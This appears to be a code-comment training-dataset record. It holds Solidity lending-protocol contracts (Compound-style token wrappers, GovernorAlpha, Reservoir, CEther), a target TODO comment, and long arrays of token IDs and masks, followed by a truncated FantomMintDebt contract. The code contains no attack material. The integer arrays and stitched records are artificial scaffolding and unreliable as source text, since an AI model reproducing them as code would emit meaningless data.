EIP20Interface(underlying).balanceOf(address(this)); require(balanceAfter >= balanceBefore, "TOKEN_TRANSFER_IN_OVERFLOW"); return balanceAfter - balanceBefore; // underflow already checked above, just subtract } /** * @dev Similar to EIP20 transfer, except it handles a False success from `transfer` and returns an explanatory * error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to * insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified * it is >= amount, this should not revert in normal conditions. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function doTransferOut(address payable to, uint amount) internal override { require(to != address(0), "cannot send to zero address"); EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying); token.transfer(to, amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a complaint ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set `success = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } require(success, "TOKEN_TRANSFER_OUT_FAILED"); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; contract GovernorAlpha { /// @notice The name of this contract string public constant name = "Based Loans Governor Alpha"; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed function quorumVotes() public pure returns (uint) { return 4_000_000e18; } // 4,000,000 = 4% of BLO /// @notice The number of votes required in order for a voter to become a proposer function proposalThreshold() public pure returns (uint) { return 1_000_000e18; } // 1,000,000 = 1% of BLO /// @notice The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions /// @notice The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint) { return 1; } // 1 block /// @notice The duration of voting on a proposal, in blocks function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks) /// @notice The address of the Based Loans Protocol Timelock TimelockInterface public timelock; /// @notice The address of the BLO governance token CompInterface public comp; /// @notice The address of the Governor Guardian address public guardian; /// @notice The total number of proposals uint public proposalCount; struct Proposal { /// @notice Unique id for looking up a proposal uint id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint endBlock; /// @notice Current number of votes in favor of this proposal uint forVotes; /// @notice Current number of votes in opposition to this proposal uint againstVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal bool support; /// @notice The number of votes the voter had, which were cast uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); constructor(address timelock_, address comp_, address guardian_) public { timelock = TimelockInterface(timelock_); comp = CompInterface(comp_); guardian = guardian_; } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(comp.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch"); require(targets.length != 0, "GovernorAlpha::propose: must provide actions"); require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay()); uint endBlock = add256(startBlock, votingPeriod()); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState state = state(proposalId); require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(msg.sender == guardian || comp.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature"); return _castVote(signatory, proposalId, support); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted"); uint96 votes = comp.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function __acceptAdmin() public { require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian"); timelock.acceptAdmin(); } function __abdicate() public { require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian"); guardian = address(0); } function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian"); timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian"); timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function getChainId() internal pure returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } } interface TimelockInterface { function delay() external view returns (uint); function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface CompInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @title Reservoir Contract * @notice Distributes a token to a different contract at a fixed rate. * @dev This contract must be poked via the `drip()` function every so often. * @author Compound */ contract Reservoir { /// @notice The block number when the Reservoir started (immutable) uint public dripStart; /// @notice Tokens per block that to drip to target (immutable) uint public dripRate; /// @notice Reference to token to drip (immutable) EIP20Interface public token; /// @notice Target to receive dripped tokens (immutable) address public target; /// @notice Amount that has already been dripped uint public dripped; /** * @notice Constructs a Reservoir * @param dripRate_ Numer of tokens per block to drip * @param token_ The token to drip * @param target_ The recipient of dripped tokens */ constructor(uint dripRate_, EIP20Interface token_, address target_) public { dripStart = block.number; dripRate = dripRate_; token = token_; target = target_; dripped = 0; } /** * @notice Drips the maximum amount of tokens to match the drip rate since inception * @dev Note: this will only drip up to the amount of tokens available. * @return The amount of tokens dripped in this call */ function drip() public returns (uint) { // First, read storage into memory EIP20Interface token_ = token; uint reservoirBalance_ = token_.balanceOf(address(this)); // TODO: Verify this is a static call uint dripRate_ = dripRate; uint dripStart_ = dripStart; uint dripped_ = dripped; address target_ = target; uint blockNumber_ = block.number; // Next, calculate intermediate values uint dripTotal_ = mul(dripRate_, blockNumber_ - dripStart_, "dripTotal overflow"); uint deltaDrip_ = sub(dripTotal_, dripped_, "deltaDrip underflow"); uint toDrip_ = min(reservoirBalance_, deltaDrip_); uint drippedNext_ = add(dripped_, toDrip_, "tautological"); // Finally, write new `dripped` value and transfer tokens to target dripped = drippedNext_; token_.transfer(target_, toDrip_); return toDrip_; } /* Internal helper functions for safe math */ function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function min(uint a, uint b) internal pure returns (uint) { if (a <= b) { return a; } else { return b; } } } import "./EIP20Interface.sol"; // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./CToken.sol"; /** * @title Compound's CEther Contract * @notice CToken which wraps Ether * @author Compound */ contract CEther is CToken { /** * @notice Construct a new CEther money market * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token * @param admin_ Address of the administrator of this token */ constructor(ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_) public { // Creator of the contract is admin during initialization admin = msg.sender; initialize(comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_); // Set the proper admin now that initialization is done admin = admin_; } /*** User Interface ***/ /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Reverts upon any failure */ function mint() external payable { (uint err,) = mintInternal(msg.value); requireNoError(err, "mint failed"); } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint redeemTokens) external returns (uint) { return redeemInternal(redeemTokens); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint redeemAmount) external returns (uint) { return redeemUnderlyingInternal(redeemAmount); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint borrowAmount) external returns (uint) { return borrowInternal(borrowAmount); } /** * @notice Sender repays their own borrow * @dev Reverts upon any failure */ function repayBorrow() external payable { (uint err,) = repayBorrowInternal(msg.value); requireNoError(err, "repayBorrow failed"); } /** * @notice Sender repays a borrow belonging to borrower * @dev Reverts upon any failure * @param borrower the account with the debt being payed off */ function repayBorrowBehalf(address borrower) external payable { (uint err,) = repayBorrowBehalfInternal(borrower, msg.value); requireNoError(err, "repayBorrowBehalf failed"); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @dev Reverts upon any failure * @param borrower The borrower of this cToken to be liquidated * @param cTokenCollateral The market in which to seize collateral from the borrower */ function liquidateBorrow(address borrower, CToken cTokenCollateral) external payable { (uint err,) = liquidateBorrowInternal(borrower, msg.value, cTokenCollateral); requireNoError(err, "liquidateBorrow failed"); } /** * @notice Send Ether to CEther to mint */ receive () external payable { (uint err,) = mintInternal(msg.value); requireNoError(err, "mint failed"); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of Ether, before this message * @dev This excludes the value of the current message, if any * @return The quantity of Ether owned by this contract */ function getCashPrior() internal view override returns (uint) { (MathError err, uint startingBalance) = subUInt(address(this).balance, msg.value); require(err == MathError.NO_ERROR); return startingBalance; } /** * @notice Perform the actual transfer in, which is a no-op * @param from Address sending the Ether * @param amount Amount of Ether being sent * @return The actual amount of Ether transferred */ function doTransferIn(address from, uint amount) internal override returns (uint) { // Sanity checks require(msg.sender == from, "sender mismatch"); require(msg.value == amount, "value mismatch"); return amount; } function doTransferOut(address payable to, uint amount) internal override { require(to != address(0), "cannot send to zero address"); (bool success, ) = to.call.value(amount)(""); require(success, "doTransferOut failed"); } function requireNoError(uint errCode, string memory message) internal pure { if (errCode == uint(Error.NO_ERROR)) { return; } bytes memory fullMessage = new bytes(bytes(message).length + 5); uint i; for (i = 0; i < bytes(message).length; i++) { fullMessage[i] = bytes(message)[i]; } fullMessage[i+0] = byte(uint8(32)); fullMessage[i+1] = byte(uint8(40)); fullMessage[i+2] = byte(uint8(48 + ( errCode / 10 ))); fullMessage[i+3] = byte(uint8(48 + ( errCode % 10 ))); fullMessage[i+4] = byte(uint8(41)); require(errCode == uint(Error.NO_ERROR), string(fullMessage)); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./CErc20.sol"; /** * @title Compound's CErc20Immutable Contract * @notice CTokens which wrap an EIP-20 underlying and are immutable * @author Compound */ contract CErc20Immutable is CErc20 { /** * @notice Construct a new money market * @param underlying_ The address of the underlying asset * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token * @param admin_ Address of the administrator of this token */ constructor(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_) public { // Creator of the contract is admin during initialization admin = msg.sender; // Initialize the market initialize(underlying_, comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_); // Set the proper admin now that initialization is done admin = admin_; } }
TODO: Verify this is a static call
uint reservoirBalance_ = token_.balanceOf(address(this));
1,283,036
[ 1, 6241, 30, 8553, 333, 353, 279, 760, 745, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 400, 264, 31238, 13937, 67, 273, 1147, 27799, 12296, 951, 12, 2867, 12, 2211, 10019, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; import "@openzeppelin/contracts-ethereum-package/contracts/math/Math.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/utils/ReentrancyGuard.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Mintable.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Burnable.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "../interfaces/IFantomDeFiTokenStorage.sol"; import "./FantomMintErrorCodes.sol"; // FantomMintCore implements a calculation of different rate steps // between collateral and debt pools to ensure healthy accounts. contract FantomMintDebt is Initializable, ReentrancyGuard, FantomMintErrorCodes { // define used libs using SafeMath for uint256; using Address for address; using SafeERC20 for ERC20; // feePool keeps information about the fee collected from token created // in minted tokens denomination. // NOTE: No idea what we shall do with the fee pool. Mint and distribute along with rewards maybe? mapping(address => uint256) public feePool; // fMintFeeDigitsCorrection represents the value to be used // to adjust result decimals after applying fee to a value calculation. uint256 public constant fMintFeeDigitsCorrection = 10000; // initialize initializes the contract properly before the first use. function initialize() public initializer { ReentrancyGuard.initialize(); } // ------------------------------------------------------------- // Emitted events definition // ------------------------------------------------------------- // Minted is emitted on confirmed token minting against user's collateral value. event Minted(address indexed token, address indexed user, uint256 amount, uint256 fee); // Repaid is emitted on confirmed token repay of user's debt of the token. event Repaid(address indexed token, address indexed user, uint256 amount); // ------------------------------------------------------------- // Abstract function required for the collateral manager // ------------------------------------------------------------- // getFMintFee4dec (abstract) represents the current percentage of the created tokens // captured as a fee. // The value is kept in 4 decimals; 50 = 0.005 = 0.5% function getFMintFee4dec() public view returns (uint256); // getDebtPool (abstract) returns the address of debt pool. function getDebtPool() public view returns (IFantomDeFiTokenStorage); // checkDebtCanIncrease (abstract) checks if the specified // amount of debt can be added to the account // without breaking collateral to debt ratio rule. function checkDebtCanIncrease(address _account, address _token, uint256 _amount) public view returns (bool); // getPrice (abstract) returns the price of given ERC20 token using on-chain oracle // expression of an exchange rate between the token and base denomination. function getPrice(address _token) public view returns (uint256); // rewardUpdate (abstract) notifies the reward distribution to update state // of the given account. function rewardUpdate(address _account) public; // canMint checks if the given token can be minted in the fMint protocol. function canMint(address _token) public view returns (bool); // getMaxToMint (abstract) calculates the maximum amount of given token // which will satisfy the given collateral to debt ratio, if added. function getMaxToMint(address _account, address _token, uint256 _ratio) public view returns (uint256); // ------------------------------------------------------------- // Debt management functions below, the actual minter work // ------------------------------------------------------------- // mustMint (wrapper) tries to mint specified amount of tokens // and reverts on failure. function mustMint(address _token, uint256 _amount) public nonReentrant { // make the attempt uint256 result = _mint(_token, _amount); // check zero amount condition require(result != ERR_ZERO_AMOUNT, "non-zero amount expected"); // check low amount condition (fee to amount check) require(result != ERR_LOW_AMOUNT, "amount too low"); // check minting now enabled for the token condition require(result != ERR_MINTING_PROHIBITED, "minting of the token prohibited"); // check no value condition require(result != ERR_NO_VALUE, "token has no value"); // check low collateral ratio condition require(result != ERR_LOW_COLLATERAL_RATIO, "insufficient collateral value"); // sanity check for any non-covered condition require(result == ERR_NO_ERROR, "unexpected failure"); } // mint allows user to create a specified token against already established // collateral. The value of the collateral must be in at least configured // ratio to the total user's debt value on minting. function mint(address _token, uint256 _amount) public nonReentrant returns (uint256) { return _mint(_token, _amount); } // _mint (internal) does the actual minting of tokens. function _mint(address _token, uint256 _amount) internal returns (uint256) { // make sure a non-zero value is being minted if (_amount == 0) { return ERR_ZERO_AMOUNT; } // make sure the requested token can be minted if (!canMint(_token)) { return ERR_MINTING_PROHIBITED; } // what is the value of the borrowed token? if (0 == getPrice(_token)) { return ERR_NO_VALUE; } // make sure the debt can be increased on the account if (!checkDebtCanIncrease(msg.sender, _token, _amount)) { return ERR_LOW_COLLATERAL_RATIO; } // calculate the minting fee; the fee is collected from the minted tokens // adjust the fee by adding +1 to round the fee up and prevent dust manipulations uint256 fee = _amount.mul(getFMintFee4dec()).div(fMintFeeDigitsCorrection).add(1); // make sure the fee does not consume the minted amount on dust operations if (fee >= _amount) { return ERR_LOW_AMOUNT; } // update the reward distribution for the account before the state changes rewardUpdate(msg.sender); // add the requested amount to the debt getDebtPool().add(msg.sender, _token, _amount); // update the fee pool feePool[_token] = feePool[_token].add(fee); // mint the requested balance of the ERC20 token minus the fee // @NOTE: the fMint contract must have the minter privilege on the ERC20 token! ERC20Mintable(_token).mint(msg.sender, _amount.sub(fee)); // emit the minter notification event emit Minted(_token, msg.sender, _amount, fee); // success return ERR_NO_ERROR; } // mustMintMax tries to increase the debt by maxim allowed amount to stoll satisfy // the required debt to collateral ratio. It reverts the transaction if the fails. function mustMintMax(address _token, uint256 _ratio) public nonReentrant { // try to withdraw max amount of tokens allowed uint256 result = _mintMax(_token, _ratio); // check zero amount condition require(result != ERR_ZERO_AMOUNT, "non-zero amount expected"); // check low amount condition (fee to amount check) require(result != ERR_LOW_AMOUNT, "amount too low"); // check minting now enabled for the token condition require(result != ERR_MINTING_PROHIBITED, "minting of the token prohibited"); // check no value condition require(result != ERR_NO_VALUE, "token has no value"); // check low collateral ratio condition require(result != ERR_LOW_COLLATERAL_RATIO, "insufficient collateral value"); // sanity check for any non-covered condition require(result == ERR_NO_ERROR, "unexpected failure"); } // mintMax tries to increase the debt by maxim allowed amount to stoll satisfy // the required debt to collateral ratio. function mintMax(address _token, uint256 _ratio) public nonReentrant returns (uint256) { return _mintMax(_token, _ratio); } // _mintMax (internal) does the actual minting of tokens. It tries to mint as much // as possible and still obey the given collateral to debt ratio. function _mintMax(address _token, uint256 _ratio) internal returns (uint256) { return _mint(_token, getMaxToMint(msg.sender, _token, _ratio)); } // mustRepay (wrapper) tries to lower the debt on account by given amount // and reverts on failure. function mustRepay(address _token, uint256 _amount) public nonReentrant { // make the attempt uint256 result = _repay(_token, _amount); // check zero amount condition require(result != ERR_ZERO_AMOUNT, "non-zero amount expected"); // check low balance condition require(result != ERR_LOW_BALANCE, "insufficient debt outstanding"); // check low allowance condition require(result != ERR_LOW_ALLOWANCE, "insufficient allowance"); // sanity check for any non-covered condition require(result == ERR_NO_ERROR, "unexpected failure"); } // repay allows user to return some of the debt of the specified token // the repay does not collect any fees and is not validating the user's total // collateral to debt position. function repay(address _token, uint256 _amount) public nonReentrant returns (uint256) { return _repay(_token, _amount); } // _repay (internal) does the token burning action. function _repay(address _token, uint256 _amount) internal returns (uint256) { // make sure a non-zero value is being deposited if (_amount == 0) { return ERR_ZERO_AMOUNT; } // get the pool address IFantomDeFiTokenStorage pool = getDebtPool(); // make sure there is enough debt on the token specified (if any at all) if (_amount > pool.balanceOf(msg.sender, _token)) { return ERR_LOW_BALANCE; } // make sure we are allowed to transfer funds from the caller // to the fMint deposit pool if (_amount > ERC20(_token).allowance(msg.sender, address(this))) { return ERR_LOW_ALLOWANCE; } // burn the tokens returned by the user first ERC20Burnable(_token).burnFrom(msg.sender, _amount); // update the reward distribution for the account before the state changes rewardUpdate(msg.sender); // clear the repaid amount from the account debt balance pool.sub(msg.sender, _token, _amount); // emit the repay notification emit Repaid(_token, msg.sender, _amount); // success return ERR_NO_ERROR; } // mustRepayMax allows user to return as much of the debt of the specified token // as possible. If the transaction fails, it reverts. function mustRepayMax(address _token) public nonReentrant { // try to repay uint256 result = _repayMax(_token); // check zero amount condition require(result != ERR_ZERO_AMOUNT, "non-zero amount expected"); // check low balance condition require(result != ERR_LOW_BALANCE, "insufficient debt outstanding"); // check low allowance condition require(result != ERR_LOW_ALLOWANCE, "insufficient allowance"); // sanity check for any non-covered condition require(result == ERR_NO_ERROR, "unexpected failure"); } // repayMax allows user to return as much of the debt of the specified token // as possible. function repayMax(address _token) public nonReentrant returns (uint256) { return _repayMax(_token); } // _repayMax (internal) reduces the token debt by maximal amount // possible under the given situation. // NOTE: Allowance for burning is still required to be high enough // to allow the operation. function _repayMax(address _token) internal returns (uint256) { // get the debt size, available tokens uint256 